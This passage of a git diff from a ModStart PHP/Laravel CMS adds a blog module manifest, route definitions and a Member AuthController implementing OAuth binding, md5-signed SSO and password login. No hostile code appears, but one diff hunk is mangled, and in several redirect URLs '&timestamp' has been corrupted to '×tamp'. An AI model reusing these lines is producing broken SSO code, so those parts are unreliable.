+ "title": "博客系统", + "types": ["PC", "Mobile"], + "require": ["Partner", "Banner", "Vendor:>=1.1.0"], + "env": ["laravel5", "laravel9"], + "tags": ["博客"], + "modstartVersion": ">=4.0.0", + "version": "3.7.0", + "author": "ModStart", + "description": "提供一个基础的博客系统", + "suggest": [ + "Member", + "MemberFav", + "MemberLike", + "SiteMapManager", + "PayCenter", + "HotSearch", + "ShareJS", + "Notice", + "TagManager" + ], + "providers": ["\\Module\\Blog\\Member\\MemberServiceProvider"], + "config": {} } diff --git a/module/Site/Web/routes.php b/module/Site/Web/routes.php index d63bf411..fb87d6b6 100644 --- a/module/Site/Web/routes.php +++ b/module/Site/Web/routes.php @@ -1,15 +1,21 @@ group([ - 'middleware' => $middlewares, -], function () use ($router) { +// 公共路由,不需要登录 +$router->group([], function () use ($router) { $router->match(['get'], 'site/contact', 'SiteController@contact'); }); +// 需要登录的路由 +$authMiddlewares = []; +if (class_exists(\Module\Blog\Member\Middleware\WebAuthMiddleware::class)) { + $authMiddlewares[] = \Module\Blog\Member\Middleware\WebAuthMiddleware::class; +} +$router->group([ + 'middleware' => $authMiddlewares, +], function () use ($router) { + // 这里添加需要登录才能访问的路由 +}); + diff --git a/resources/views/theme/default/pc/share/header.blade.php b/resources/views/theme/default/pc/share/header.blade.php index a2874a09..06989ab6 100644 --- a/resources/views/theme/default/pc/share/header.blade.php +++ b/resources/views/theme/default/pc/share/header.blade.php @@ -1,23 +1,14 @@
+HTML; + } + +} diff --git a/module/Member/Admin/routes.php b/module/Member/Admin/routes.php new file mode 100644 index 00000000..71dbc878 --- /dev/null +++ b/module/Member/Admin/routes.php @@ -0,0 +1,88 @@ +match(['get', 'post'], 'member/config/setting', 'ConfigController@setting'); +$router->match(['get', 'post'], 'member/config/agreement', 'ConfigController@agreement'); +$router->match(['get', 'post'], 'member/config/money', 'ConfigController@money'); +$router->match(['get', 'post'], 'member/config/credit', 'ConfigController@credit'); +$router->match(['get', 'post'], 'member/config/message', 'ConfigController@message'); + +$router->match(['get'], 'member/config/param', 'ConfigController@param'); + +$router->match(['post'], 'member/config/data_statistic', 'ConfigController@dataStatistic'); + +$router->match(['get', 'post'], 'member/dashboard', 'MemberDashboardController@index'); + +$router->match(['get', 'post'], 'member', 'MemberController@index'); +$router->match(['get', 'post'], 'member/add', 'MemberController@add'); +$router->match(['get', 'post'], 'member/edit', 'MemberController@edit'); +$router->match(['post'], 'member/delete', 'MemberController@delete'); +$router->match(['get'], 'member/show', 'MemberController@show'); +$router->match(['get', 'post'], 'member/select', 'MemberController@select'); +$router->match(['get', 'post'], 'member/search', 'MemberController@search'); +$router->match(['get', 'post'], 'member/select_remote', 'MemberController@selectRemote'); +$router->match(['get', 'post'], 'member/reset_password', 'MemberController@resetPassword'); +$router->match(['get', 'post'], 'member/send_message', 'MemberController@sendMessage'); +$router->match(['get', 'post'], 'member/status_forbidden', 'MemberController@statusForbidden'); +$router->match(['get', 'post'], 'member/export', 'MemberController@export'); +$router->match(['get', 'post'], 'member/oauth', 'MemberController@oauth'); +$router->match(['get', 'post'], 'member/login', 'MemberController@login'); + +$router->match(['get', 'post'], 'member_vip_set', 'MemberVipSetController@index'); +$router->match(['get', 'post'], 'member_vip_set/add', 'MemberVipSetController@add'); +$router->match(['get', 'post'], 'member_vip_set/edit', 'MemberVipSetController@edit'); +$router->match(['post'], 'member_vip_set/delete', 'MemberVipSetController@delete'); +$router->match(['get'], 'member_vip_set/show', 'MemberVipSetController@show'); +$router->match(['post'], 'member_vip_set/sort', 'MemberVipSetController@sort'); + +$router->match(['get', 'post'], 'member_vip_set/config', 'MemberVipSetController@config'); + +$router->match(['get', 'post'], 'member_vip_right', 'MemberVipRightController@index'); +$router->match(['get', 'post'], 'member_vip_right/add', 'MemberVipRightController@add'); +$router->match(['get', 'post'], 'member_vip_right/edit', 'MemberVipRightController@edit'); +$router->match(['post'], 'member_vip_right/delete', 'MemberVipRightController@delete'); +$router->match(['get'], 'member_vip_right/show', 'MemberVipRightController@show'); +$router->match(['post'], 'member_vip_right/sort', 'MemberVipRightController@sort'); + +$router->match(['get', 'post'], 'member_vip_order', 'MemberVipOrderController@index'); +$router->match(['get', 'post'], 'member_vip_order/add', 'MemberVipOrderController@add'); +$router->match(['get', 'post'], 'member_vip_order/edit', 'MemberVipOrderController@edit'); +$router->match(['post'], 'member_vip_order/delete', 'MemberVipOrderController@delete'); +$router->match(['get'], 'member_vip_order/show', 'MemberVipOrderController@show'); + +$router->match(['get', 'post'], 'member/money_charge_order', 'MemberMoneyChargeOrderController@index'); +$router->match(['get', 'post'], 'member/money_charge_order/add', 'MemberMoneyChargeOrderController@add'); +$router->match(['get', 'post'], 'member/money_charge_order/edit', 'MemberMoneyChargeOrderController@edit'); +$router->match(['post'], 'member/money_charge_order/delete', 'MemberMoneyChargeOrderController@delete'); +$router->match(['get'], 'member/money_charge_order/show', 'MemberMoneyChargeOrderController@show'); + +$router->match(['get', 'post'], 'member_money_log', 'MemberMoneyLogController@index'); +$router->match(['get', 'post'], 'member_money_log/add', 'MemberMoneyLogController@add'); +$router->match(['get', 'post'], 'member_money_log/edit', 'MemberMoneyLogController@edit'); +$router->match(['post'], 'member_money_log/delete', 'MemberMoneyLogController@delete'); +$router->match(['get'], 'member_money_log/show', 'MemberMoneyLogController@show'); + +$router->match(['get', 'post'], 'member_credit_log', 'MemberCreditLogController@index'); +$router->match(['get', 'post'], 'member_credit_log/add', 'MemberCreditLogController@add'); +$router->match(['get', 'post'], 'member_credit_log/edit', 'MemberCreditLogController@edit'); +$router->match(['post'], 'member_credit_log/delete', 'MemberCreditLogController@delete'); +$router->match(['get'], 'member_credit_log/show', 'MemberCreditLogController@show'); + +$router->match(['get', 'post'], 'member_money_cash', 'MemberMoneyCashController@index'); +$router->match(['get', 'post'], 'member_money_cash/add', 'MemberMoneyCashController@add'); +$router->match(['get', 'post'], 'member_money_cash/edit', 'MemberMoneyCashController@edit'); +$router->match(['post'], 'member_money_cash/delete', 'MemberMoneyCashController@delete'); +$router->match(['get'], 'member_money_cash/show', 'MemberMoneyCashController@show'); +$router->match(['get', 'post'], 'member_money_cash/pass', 'MemberMoneyCashController@pass'); + +$router->match(['get', 'post'], 'member_group', 'MemberGroupController@index'); +$router->match(['get', 'post'], 'member_group/add', 'MemberGroupController@add'); +$router->match(['get', 'post'], 'member_group/edit', 'MemberGroupController@edit'); +$router->match(['post'], 'member_group/delete', 'MemberGroupController@delete'); +$router->match(['get'], 'member_group/show', 'MemberGroupController@show'); +$router->match(['post'], 'member_group/sort', 'MemberGroupController@sort'); + +$router->match(['get', 'post'], 'member_credit/charge', 'MemberCreditController@charge'); + +$router->match(['get', 'post'], 'member_money/charge', 'MemberMoneyController@charge'); diff --git a/module/Member/Api/Controller/AuthController.php b/module/Member/Api/Controller/AuthController.php new file mode 100644 index 00000000..2206821f --- /dev/null +++ b/module/Member/Api/Controller/AuthController.php @@ -0,0 +1,1722 @@ + http://client.com/sso/client + * timestamp -> time() + * sign -> md5(md5(ssoClientSecret) + md5(timestamp) + md5(client)) + * 3. Client 记录当前登录 redirect 存储到 Storage(ssoClientRedirect),同时跳转到SSO登录地址; + * 4. Server 端授权登录跳回页面 http://client.com/sso/client (第2步传递的client) 并附带参数 + * server -> http://server.com/sso/server + * timestamp -> time() + * username -> base64_encode(username) + * sign -> md5( md5(ssoServerSecret) + md5(timestamp) + md5(server) + md5(username) ) + * 5. Client 访问到 http://client.com/sso/client 请求 http://client.com/api/sso/client 并验证参数: + * 验证 sign 是否正确; + * 验证 timestamp 是否合法,误差不能相差 1 小时; + * 验证 server 是否为预期 (config.ssoClientServer); + * 6. Client 验证完全正确后,根据 username 来进行登录,如果用户不存在创建用户,如果用户已经存在直接设置为已登录状态; + * 7. Client 前端跳转到 ssoClientRedirect(从Storage读取); + */ + + +/** + * ############### 系列产品 SSO Server 登录流程 ############### + * + * 1. Server 访问 http://server.com/sso/server 页面 (跳转过来的登录请求),附带以下参数; + * client -> http://client.com/sso/client + * timestamp -> time() + * sign -> md5( md5(ssoServerSecret) + md5(timestamp) + md5(client) ) + * 2. Server 发送第1步所有参数到,记录 ssoServerClient 到 Storage; + * 3. Server 请求 http://server.com/api/sso/server ,同时返回 isLogin 参数,验证以下信息: + * 检测 SSO 登录是否开启 (config.ssoServerEnable); + * sign -> 验证 sign 是否正确; + * 验证 timestamp 是否合法,误差不能超过 1 小时; + * 验证 client 是否为预期 (config.ssoServerClientList); + * 4. Server 如果判断 isLogin 为真, 直接跳转到 http://server.com/sso/server_success; + * 5. Server 如果判断 isLogin 为假,跳转到登录页面 /login 并附带以下参数: + * redirect -> http://server.com/sso/server_success + * 6. Server 用户登录,登录成功后重定向到 http://server.com/sso/server_success ; + * 4. Server 请求 http://server.com/api/sso/server_success 接口, + * 携带以下参数 + * client -> http://client.com/sso/client (从 Storage 读取 ssoServerClient) + * domainUrl -> http://server.com + * 获取到以下参数 + * redirect -> http://client.com/sso/client?server=xxx×tamp=xxx&username=xxx&sign=xxx + * server -> http://server.com/sso/server + * timestamp -> time() + * username -> base64_encode(username) + * sign -> md5( md5(ssoServerSecret) + md5(timestamp) + md5(server) + md5(username) ) + * 7. Server 页面跳转到 redirect + */ + +/** + * ############### 系列产品 SSO Client 退出流程 ############### + * 1. Client 需要退出登陆,跳转到 http://client.com/logout 并附带以下参数: + * redirect -> 地址 + * 2. Client 判断如果检测到SSO登录开启(config.ssoClientEnable),记录 redirect 到 Storage 为 ssoLogoutRedirect; + * 2. Client 请求 http://client.com/api/sso/client_logout_prepare ,返回以下参数: + * redirect -> http://server.com/sso/server_logout?redirect=urlencode(http://client.com/sso/client_logout) + * 3. Client 跳转到 redirect + * 4. Server 返回到 http://client.com/sso/client_logout ,请求 http://client.com/api/sso/client_logout ; + * 5. Client 从 Storage 读取 ssoLogoutRedirect ,跳转到 ssoLogout ; + */ + +/** + * ############### 系列产品 SSO Server 退出流程 ############### + * 1. Client 页面访问 http://server.com/sso/server_logout 并附带以下参数: + * redirect -> + * 2. Client 请求 http://server.com/api/sso/server_logout ,返回以下参数: + * redirect -> + * 3. Client 跳转到 redirect + */ + +/** + * Class AuthController + * @package Module\Member\Api\Controller + * @Api 用户授权 + */ +class AuthController extends ModuleBaseController +{ + public function checkRedirectSafety($redirect) + { + if (!modstart_config('Member_LoginRedirectCheckEnable', false)) { + return; + } + $info = parse_url($redirect); + // ignore local url + if (empty($info['host'])) { + return; + } + if ($info['host'] == Request::domain()) { + return; + } + $whiteList = modstart_config('Member_LoginRedirectWhiteList', ''); + $whiteList = explode("\n", $whiteList); + $whiteList = array_filter($whiteList); + foreach ($whiteList as $item) { + if ($info['host'] == $item) { + return; + } + } + BizException::throws("登录跳转路径异常"); + } + + public function oauthTryLogin($oauthType = null) + { + $oauthUserInfo = Session::get('oauthUserInfo', []); + if (empty($oauthUserInfo)) { + return Response::generate(-1, '用户授权数据为空'); + } + if (empty($oauthType)) { + $input = InputPackage::buildFromInput(); + $oauthType = $input->getTrimString('type'); + } + BizException::throwsIfEmpty('授权类型为空', $oauthType); + /** @var AbstractOauth $oauth */ + $oauth = MemberOauth::getOrFail($oauthType); + $ret = $oauth->processTryLogin([ + 'userInfo' => $oauthUserInfo, + ]); + BizException::throwsIfResponseError($ret); + // var_dump($ret);exit(); + $resultData = [ + 'memberUserId' => 0, + ]; + if ($ret['data']['memberUserId'] > 0) { + // 自动登录 + Session::put('memberUserId', $ret['data']['memberUserId']); + MemberUtil::fireLogin($ret['data']['memberUserId']); + Session::forget('oauthUserInfo'); + $resultData['memberUserId'] = $ret['data']['memberUserId']; + return Response::generateSuccessData($resultData); + } + if (modstart_config('Member_OauthBindAuto', false)) { + // 已登录直接绑定 + if (MemberUser::isLogin()) { + $memberUserId = MemberUser::id(); + $ret = $oauth->processBindToUser([ + 'memberUserId' => $memberUserId, + 'userInfo' => $oauthUserInfo, + ]); + BizException::throwsIfResponseError($ret); + Session::forget('oauthUserInfo'); + $resultData['memberUserId'] = $memberUserId; + return Response::generateSuccessData($resultData); + } + // 快速注册 + /** 为了兼容统一登录,禁止使用手机号格式和邮箱格式 */ + $username = null; + if (!empty($oauthUserInfo['username'])) { + $username = $oauthUserInfo['username']; + } + $ret = MemberUtil::registerUsernameQuick($username); + if ($ret['code']) { + return Response::generateError($ret['msg']); + } + $memberUserId = $ret['data']['id']; + $update = []; + $update['registerIp'] = StrUtil::mbLimit(Request::ip(), 20); + if (!empty($update)) { + MemberUtil::update($memberUserId, $update); + } + $ret = $oauth->processBindToUser([ + 'memberUserId' => $memberUserId, + 'userInfo' => $oauthUserInfo, + ]); + BizException::throwsIfResponseError($ret); + if (!empty($oauthUserInfo['avatar'])) { + $avatarRet = CurlUtil::getRaw($oauthUserInfo['avatar'], [], [ + 'returnRaw' => true, + ]); + if (200 == $avatarRet['httpCode']) { + MemberUtil::setAvatar($memberUserId, $avatarRet['body'], $avatarRet['ext']); + } + } + EventUtil::fire(new MemberUserRegisteredEvent($memberUserId)); + Session::put('memberUserId', $memberUserId); + MemberUtil::fireLogin($memberUserId); + Session::forget('oauthUserInfo'); + $resultData['memberUserId'] = $memberUserId; + return Response::generateSuccessData($resultData); + } + return Response::generateSuccessData($resultData); + } + + public function oauthBindInfo() + { + $oauthUserInfo = Session::get('oauthUserInfo', []); + //$oauthUserInfo = [ + // 'openid' => 'mock', + // 'username' => 'test-username', + // 'avatar' => 'avatar', + //]; + return Response::generateSuccessData([ + 'oauthUserInfo' => $oauthUserInfo, + ]); + } + + public function oauthBind($oauthType = null) + { + $input = InputPackage::buildFromInput(); + $redirect = $input->getTrimString('redirect', modstart_web_url('member')); + $oauthType = $input->getTrimString('type', $oauthType); + $oauthUserInfo = Session::get('oauthUserInfo', []); + if (empty($oauthType)) { + return Response::generate(-1, '授权类型为空'); + } + + if (empty($oauthUserInfo)) { + return Response::generate(-1, '用户授权数据为空'); + } + /** @var AbstractOauth $oauth */ + $oauth = MemberOauth::getOrFail($oauthType); + //如果用户已经登录直接关联到当前用户 + $loginedMemberUserId = Session::get('memberUserId', 0); + if ($loginedMemberUserId > 0) { + $ret = $oauth->processBindToUser([ + 'memberUserId' => $loginedMemberUserId, + 'userInfo' => $oauthUserInfo, + ]); + BizException::throwsIfResponseError($ret); + Session::forget('oauthUserInfo'); + return Response::generate(0, null, null, $redirect); + } + $ret = $oauth->processTryLogin([ + 'userInfo' => $oauthUserInfo, + ]); + BizException::throwsIfResponseError($ret); + if ($ret['data']['memberUserId'] > 0) { + Session::put('memberUserId', $ret['data']['memberUserId']); + MemberUtil::fireLogin($ret['data']['memberUserId']); + Session::forget('oauthUserInfo'); + return Response::generateSuccessData(['memberUserId' => $ret['data']['memberUserId']]); + } + if (modstart_config()->getWithEnv('registerDisable', false) + && !modstart_config()->getWithEnv('registerOauthEnable', false)) { + return Response::generate(-1, '用户注册已禁用'); + } + $username = $input->getTrimString('username'); + /** 为了兼容统一登录,禁止使用手机号格式和邮箱格式 */ + if (Str::contains($username, '@')) { + return Response::generate(-1, '用户名不能包含特殊字符'); + } + if (preg_match('/^\\d{11}$/', $username)) { + return Response::generate(-1, '用户名不能为纯数字'); + } + + $phone = $input->getPhone('phone'); + $phoneVerify = $input->getTrimString('phoneVerify'); + $email = $input->getEmail('email'); + $emailVerify = $input->getTrimString('emailVerify'); + $captcha = $input->getTrimString('captcha'); + + if (!Session::get('oauthBindCaptchaPass', false)) { + if (!CaptchaFacade::check($captcha)) { + SessionUtil::atomicProduce('oauthBindCaptchaPassCount', 1); + return Response::generate(-1, '请重新进行安全验证'); + } + } + if (!SessionUtil::atomicConsume('oauthBindCaptchaPassCount')) { + return Response::generate(-1, '请进行安全验证'); + } + if (modstart_config('Member_OauthBindPhoneEnable')) { + if (empty($phone)) { + return Response::generate(-1, '手机号为空或格式不正确'); + } + $phoneVerifyCheck = Session::get('oauthBindPhoneVerify'); + if ($phoneVerify != $phoneVerifyCheck) { + Log::info('Member.OauthBind.PhoneVerifyError - ' . $phoneVerify . ' - ' . $phoneVerifyCheck); + return Response::generate(-1, '手机验证码不正确.'); + } + if (Session::get('oauthBindPhoneVerifyTime') + 60 * 60 < time()) { + return Response::generate(-1, '手机验证码已过期'); + } + if ($phone != Session::get('oauthBindPhone')) { + return Response::generate(-1, '两次手机不一致'); + } + } + if (modstart_config('Member_OauthBindEmailEnable')) { + if (empty($email)) { + return Response::generate(-1, '请输入邮箱'); + } + $emailVerifyCheck = Session::get('oauthBindEmailVerify'); + if ($emailVerify != $emailVerifyCheck) { + Log::info('Member.OauthBind.EmailVerifyError - ' . $emailVerify . ' - ' . $emailVerifyCheck); + return Response::generate(-1, '邮箱验证码不正确.'); + } + if (Session::get('oauthBindEmailVerifyTime') + 60 * 60 < time()) { + return Response::generate(-1, '邮箱验证码已过期'); + } + if ($email != Session::get('oauthBindEmail')) { + return Response::generate(-1, '两次邮箱不一致'); + } + } + + $memberExists = null; + if ($phone) { + $exists = MemberUtil::getByPhone($phone); + if ($exists) { + $memberExists = $exists; + } + } + if ($email) { + $exists = MemberUtil::getByEmail($email); + if ($exists) { + if ($memberExists) { + return Response::generate(-1, '手机号与邮箱分别绑定了不同的账户,请先解绑'); + } + $memberExists = $exists; + } + } + // 已绑定的用户直接登录 + if ($memberExists) { + $memberUserId = $memberExists['id']; + } else { + $ret = MemberUtil::register($username, $phone, $email, null, true); + if ($ret['code']) { + return Response::generate(-1, $ret['msg']); + } + $memberUserId = $ret['data']['id']; + } + // 更新绑定信息情况 + $update = []; + if (modstart_config('Member_OauthBindPhoneEnable')) { + $update['phoneVerified'] = true; + } + if (modstart_config('Member_OauthBindEmailEnable')) { + $update['emailVerified'] = true; + } + if (!$memberExists) { + $update['registerIp'] = StrUtil::mbLimit(Request::ip(), 20); + } + if (!empty($update)) { + MemberUtil::update($memberUserId, $update); + } + $ret = $oauth->processBindToUser([ + 'memberUserId' => $memberUserId, + 'userInfo' => $oauthUserInfo, + ]); + BizException::throwsIfResponseError($ret); + if (!$memberExists) { + if (!empty($oauthUserInfo['avatar'])) { + $avatarRet = CurlUtil::getRaw($oauthUserInfo['avatar'], [], [ + 'returnRaw' => true, + ]); + if (200 == $avatarRet['httpCode']) { + MemberUtil::setAvatar($memberUserId, $avatarRet['body'], $avatarRet['ext']); + } + } + EventUtil::fire(new MemberUserRegisteredEvent($memberUserId)); + } + Session::put('memberUserId', $memberUserId); + MemberUtil::fireLogin($memberUserId); + Session::forget('oauthUserInfo'); + return Response::generate(0, null); + } + + public function oauthCallback($oauthType = null, $callback = null) + { + $input = InputPackage::buildFromInput(); + if (empty($oauthType)) { + $oauthType = $input->getTrimString('type'); + } + if (empty($callback)) { + $callback = $input->getTrimString('callback', null); + } + $code = $input->getTrimString('code'); + if (empty($code)) { + $code = $input->getTrimString('auth_code'); + } + if (empty($code)) { + return Response::generate(-1, '登录失败(code为空)'); + } + /** @var AbstractOauth $oauth */ + $oauth = MemberOauth::getOrFail($oauthType); + $param = Session::get('oauthLoginParam', []); + Session::forget('oauthLoginParam'); + $ret = $oauth->processLogin(array_merge($param, [ + 'code' => $code, + 'callback' => $callback, + ])); + if (!isset($ret['code'])) { + return Response::generate(-1, '登录失败(返回结果为空)'); + } + if (0 != $ret['code']) { + return $ret; + } + $userInfo = $ret['data']['userInfo']; + + /** @deprecated delete at 2024-06-29 */ + $view = $input->getBoolean('view', false); + if ($view) { + Session::put('oauthViewOpenId_' . $oauthType, $userInfo['openid']); + return Response::generateSuccess(); + } + /** @deprecated delete at 2024-06-29 */ + + $callbackMode = $input->getType('callbackMode', MemberOauthCallbackMode::class); + if ($callbackMode) { + switch ($callbackMode) { + case MemberOauthCallbackMode::View: + Session::put('oauthViewOpenId_' . $oauthType, $userInfo['openid']); + return Response::generateSuccess(); + case MemberOauthCallbackMode::AutoBind: + BizException::throwsIf('未登录', MemberUser::isNotLogin()); + MemberUtil::putOauth(MemberUser::id(), $oauthType, $userInfo['openid']); + switch ($oauthType) { + case WechatMobileOauth::NAME: + case WechatMiniProgramOauth::NAME: + case WechatOauth::NAME: + if (!empty($userInfo['unionid'])) { + MemberUtil::putOauth(MemberUser::id(), MemberOauthConstant::WECHAT_UNION, $userInfo['unionid']); + } + break; + } + return Response::generateSuccess(); + } + } + if (empty($userInfo['username'])) { + $userInfo['username'] = modstart_config('Member_RegisterUsernameSuggest', '用户') . RandomUtil::hexString(6); + } + Session::put('oauthUserInfo', $userInfo); + return Response::generate(0, 'ok', [ + 'user' => $userInfo, + 'avatarEmpty' => AssetsUtil::fixFull('asset/image/avatar.svg'), + ]); + } + + public function oauthLogin($oauthType = null, $callback = null) + { + if ($disableText = modstart_config()->getWithEnv('oauthDisableText')) { + return Response::generateError($disableText); + } + $input = InputPackage::buildFromInput(); + if (empty($oauthType)) { + $oauthType = $input->getTrimString('type'); + } + if (empty($callback)) { + $callback = $input->getTrimString('callback', 'NO_CALLBACK'); + } + $silence = $input->getBoolean('silence', false); + /** @var AbstractOauth $oauth */ + $oauth = MemberOauth::getOrFail($oauthType); + $param = [ + 'callback' => $callback, + 'silence' => $silence, + ]; + Session::put('oauthLoginParam', $param); + $ret = $oauth->processRedirect($param); + BizException::throwsIfResponseError($ret); + return Response::generate(0, 'ok', [ + 'redirect' => isset($ret['data']['redirect']) ? $ret['data']['redirect'] : null, + ]); + } + + public function ssoClientLogoutPrepare() + { + if (!modstart_config('ssoClientEnable', false)) { + return Response::generate(-1, '请开启 同步登录客户端'); + } + $input = InputPackage::buildFromInput(); + $domainUrl = $input->getTrimString('domainUrl'); + + $ssoClientServer = modstart_config('ssoClientServer', ''); + if (empty($ssoClientServer)) { + return Response::generate(-1, '请配置 同步登录服务端地址'); + } + + $redirect = $ssoClientServer . '_logout' . '?' . http_build_query(['redirect' => $domainUrl . '/sso/client_logout',]); + return Response::generate(0, 'ok', [ + 'redirect' => $redirect, + ]); + } + + public function ssoClientLogout() + { + if (!modstart_config('ssoClientEnable', false)) { + return Response::generate(-1, '请开启 同步登录客户端'); + } + Session::forget('memberUserId'); + return Response::generate(0, 'ok'); + } + + public function ssoServerLogout() + { + if (!modstart_config('ssoServerEnable', false)) { + return Response::generate(-1, '请开启 同步登录服务端'); + } + Session::forget('memberUserId'); + return Response::generate(0, 'ok'); + } + + public function ssoServerSuccess() + { + if (!modstart_config('ssoServerEnable', false)) { + return Response::generate(-1, '请开启 同步登录服务端'); + } + + $memberUserId = Session::get('memberUserId', 0); + if (!$memberUserId) { + return Response::generate(-1, '未登录'); + } + $memberUser = MemberUtil::get($memberUserId); + $ssoServerSecret = modstart_config('ssoServerSecret'); + if (empty($ssoServerSecret)) { + return Response::generate(-1, '请设置 同步登录服务端通讯秘钥'); + } + + $input = InputPackage::buildFromInput(); + $client = $input->getTrimString('client'); + $domainUrl = $input->getTrimString('domainUrl'); + if (empty($domainUrl) || empty($client)) { + return Response::generate(-1, '数据错误'); + } + $ssoClientList = explode("\n", modstart_config('ssoServerClientList', '')); + $valid = false; + foreach ($ssoClientList as $item) { + if (trim($item) == $client) { + $valid = true; + } + } + if (!$valid) { + return Response::generate(-1, '数据错误(2)'); + } + $server = $domainUrl . '/sso/server'; + $timestamp = time(); + $username = $memberUser['username']; + $sign = md5(md5($ssoServerSecret) . md5($timestamp . '') . md5($server) . md5($username)); + + $redirect = $client + . '?server=' . urlencode($server) + . '×tamp=' . $timestamp + . '&username=' . urlencode(base64_encode($username)) + . '&sign=' . $sign; + + return Response::generate(0, null, [ + 'redirect' => $redirect + ]); + } + + public function ssoServer() + { + if (!modstart_config('ssoServerEnable', false)) { + return Response::generate(-1, '请开启 同步登录服务端'); + } + $input = InputPackage::buildFromInput(); + $client = $input->getTrimString('client'); + $timestamp = $input->getInteger('timestamp'); + $sign = $input->getTrimString('sign'); + if (empty($client)) { + return Response::generate(-1, 'client 为空'); + } + if (empty($timestamp)) { + return Response::generate(-1, 'timestamp 为空'); + } + if (empty($sign)) { + return Response::generate(-1, 'sign 为空'); + } + $ssoSecret = modstart_config('ssoServerSecret'); + if (empty($ssoSecret)) { + return Response::generate(-1, '请设置 同步登录服务端通讯秘钥'); + } + $signCalc = md5(md5($ssoSecret) . md5($timestamp . '') . md5($client)); + if ($sign != $signCalc) { + return Response::generate(-1, 'sign 错误'); + } + if (abs(time() - $timestamp) > 3600) { + return Response::generate(-1, 'timestamp 错误'); + } + $ssoClientList = explode("\n", modstart_config('ssoServerClientList', '')); + $valid = false; + foreach ($ssoClientList as $item) { + if (trim($item) == $client) { + $valid = true; + } + } + if (!$valid) { + return Response::generate(-1, '请在 同步登陆服务端增加客户端地址 ' . $client); + } + $isLogin = false; + if (intval(Session::get('memberUserId', 0)) > 0) { + $isLogin = true; + } + return Response::generate(0, 'ok', [ + 'isLogin' => $isLogin, + ]); + } + + public function ssoClient() + { + if (!modstart_config('ssoClientEnable', false)) { + return Response::generate(-1, '请开启 同步登录客户端'); + } + $ssoClientServer = modstart_config('ssoClientServer', ''); + if (empty($ssoClientServer)) { + return Response::generate(-1, '请配置 同步登录服务端地址'); + } + + $ssoClientSecret = modstart_config('ssoClientSecret'); + if (empty($ssoClientSecret)) { + return Response::generate(-1, '请设置 同步登录客户端通讯秘钥'); + } + + $input = InputPackage::buildFromInput(); + $server = $input->getTrimString('server'); + $timestamp = $input->getInteger('timestamp'); + $sign = $input->getTrimString('sign'); + $username = @base64_decode($input->getTrimString('username')); + + if (empty($username)) { + return Response::generate(-1, '同步登录返回的用户名为空'); + } + if (empty($timestamp)) { + return Response::generate(-1, 'timestamp为空'); + } + if (empty($sign)) { + return Response::generate(-1, 'sign为空'); + } + $signCalc = md5(md5($ssoClientSecret) . md5($timestamp . '') . md5($server) . md5($username)); + if ($sign != $signCalc) { + return Response::generate(-1, 'sign错误'); + } + if (abs(time() - $timestamp) > 3600) { + return Response::generate(-1, 'timestamp错误'); + } + if ($server != $ssoClientServer) { + return Response::generate(-1, '同步登录 服务端地址不是配置的' . $ssoClientServer); + } + $memberUser = MemberUtil::getByUsername($username); + if (empty($memberUser)) { + $ret = MemberUtil::register($username, null, null, null, true); + if ($ret['code']) { + return Response::generate(-1, $ret['msg']); + } + $memberUser = MemberUtil::get($ret['data']['id']); + } + Session::put('memberUserId', $memberUser['id']); + MemberUtil::fireLogin($memberUser['id']); + // return Response::generateError('forbidden'); + return Response::generate(0, 'ok'); + } + + public function ssoClientPrepare() + { + if (!modstart_config('ssoClientEnable', false)) { + return Response::generate(-1, 'SSO未开启'); + } + $ssoClientServer = modstart_config('ssoClientServer'); + $ssoClientSecret = modstart_config('ssoClientSecret'); + $input = InputPackage::buildFromInput(); + $client = $input->getTrimString('client', '/'); + if (!Str::endsWith($client, '/sso/client')) { + return Response::generate(-1, 'client参数错误'); + } + $timestamp = time(); + $sign = md5(md5($ssoClientSecret) . md5($timestamp . '') . md5($client)); + $redirect = $ssoClientServer . '?client=' . urlencode($client) . '×tamp=' . $timestamp . '&sign=' . $sign; + return Response::generate(0, 'ok', [ + 'redirect' => $redirect, + ]); + } + + /** + * @return array + * + * @Api 登录-退出登录 + */ + public function logout() + { + $memberUserId = MemberUser::id(); + Session::forget('memberUserId'); + if ($memberUserId > 0) { + EventUtil::fire(new MemberUserLogoutEvent($memberUserId)); + } + return Response::generateSuccess(); + } + + /** + * @return array + * @throws BizException + * + * @Api 登录-用户登录 + * @ApiBodyParam username string required 用户名 + * @ApiBodyParam password string required 密码 + * @ApiBodyParam captcha string 验证码(如果验证码开启需要传递) + */ + public function login() + { + $input = InputPackage::buildFromInput(); + + $username = $input->getTrimStringWithAutoDecrypt('username'); + $password = $input->getTrimStringWithAutoDecrypt('password'); + if (empty($username)) { + return Response::generate(-1, '请输入用户'); + } + if (empty($password)) { + return Response::generate(-1, '请输入密码'); + } + + if (modstart_config('loginCaptchaEnable', false)) { + $captchaProvider = SecurityUtil::loginCaptchaProvider(); + if ($captchaProvider) { + $ret = $captchaProvider->validate(); + if (Response::isError($ret)) { + return Response::generate(-1, $ret['msg']); + } + } else { + if (!CaptchaFacade::check($input->getTrimString('captcha'))) { + return Response::generate(ResponseCodes::CAPTCHA_ERROR, '登录失败:图片验证码错误', null, '[js]$(\'[data-captcha]\').click();'); + } + } + } + $memberUser = null; + $loginMsg = null; + if (!$memberUser) { + $ret = MemberUtil::login($username, null, null, $password); + if (0 == $ret['code']) { + $memberUser = $ret['data']; + } + } + if (!$memberUser) { + $ret = MemberUtil::login(null, $username, null, $password); + if (0 == $ret['code']) { + $memberUser = $ret['data']; + } + } + if (!$memberUser) { + $ret = MemberUtil::login(null, null, $username, $password); + if (0 == $ret['code']) { + $memberUser = $ret['data']; + } + } + if (!$memberUser) { + $failedTip = Session::pull('memberUserLoginFailedTip', null); + return Response::generate(ResponseCodes::CAPTCHA_ERROR, '登录失败:用户或密码错误' . ($failedTip ? ',' . $failedTip : '')); + } + Session::put('memberUserId', $memberUser['id']); + MemberUtil::fireLogin($memberUser['id']); + EventUtil::fire(new MemberUserLoginedEvent($memberUser['id'])); + return Response::generateSuccess(); + } + + public function loginCaptchaRaw() + { + return CaptchaFacade::create('default'); + } + + public function loginPhoneCaptchaRaw() + { + return CaptchaFacade::create('default'); + } + + /** + * @Api 短信验证登录-登录提交 + * @ApiBodyParam phone string 手机号 + * @ApiBodyParam verify string 手机验证码 + */ + public function loginPhone() + { + BizException::throwsIf('短信验证登录未开启', !modstart_config('Member_LoginPhoneEnable', false)); + $input = InputPackage::buildFromInput(); + $phone = $input->getPhone('phone'); + $verify = $input->getTrimString('verify'); + if (empty($phone)) { + return Response::generate(-1, '手机号为空或格式不正确'); + } + if (empty($verify)) { + return Response::generate(-1, '验证码不能为空'); + } + $verifyCheck = Session::get('loginPhoneVerify'); + if ($verify != 